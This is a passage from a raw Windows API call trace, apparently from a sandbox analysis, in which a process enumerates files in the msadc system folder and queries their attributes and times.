0xf9dbf0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb41c0 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb71f0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.571] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb41e0 [0065.571] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7300 [0065.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.572] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0065.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.572] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4200 [0065.572] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7388 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc13c33e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc13c33e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e1eed0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll", cAlternateFileName="")) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf732e2, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfbf732e2, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80e6a9c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll", cAlternateFileName="")) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.573] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9bee9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9bee9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadco.dll", cAlternateFileName="")) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0a3dca, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc0a3dca, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80edd5b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll", cAlternateFileName="")) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84872aa8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84872aa8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84872aa8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcs.dll", cAlternateFileName="")) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.574] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.574] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3801e6, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc3801e6, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x345eeb10, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadds.dll", cAlternateFileName="")) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfce53b36, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfce53b36, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x80fc2d90, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll", cAlternateFileName="")) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd7d9276, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd7d9276, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x81dbdf30, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll", cAlternateFileName="")) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.575] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.575] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0d295c, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc0d295c, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3497fc70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprst.dll", cAlternateFileName="")) returned 1 [0065.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93fdbb10, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93fdbb10, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x94001c70, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdarem.dll", cAlternateFileName="")) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6a878e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfd6a878e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x835d7620, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll", cAlternateFileName="")) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.576] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d95dfd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99d95dfd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99dbbf5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.dll", cAlternateFileName="")) returned 0 [0065.577] GetLastError () returned 0x12 [0065.577] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0065.577] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0065.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0065.577] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.577] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.577] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0065.578] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb9718 [0065.578] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9718, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9718, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9718) returned 1 [0065.578] NtClose (Handle=0x198) returned 0x0 [0065.578] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7410 [0065.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7498 [0065.578] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0065.596] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.596] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, 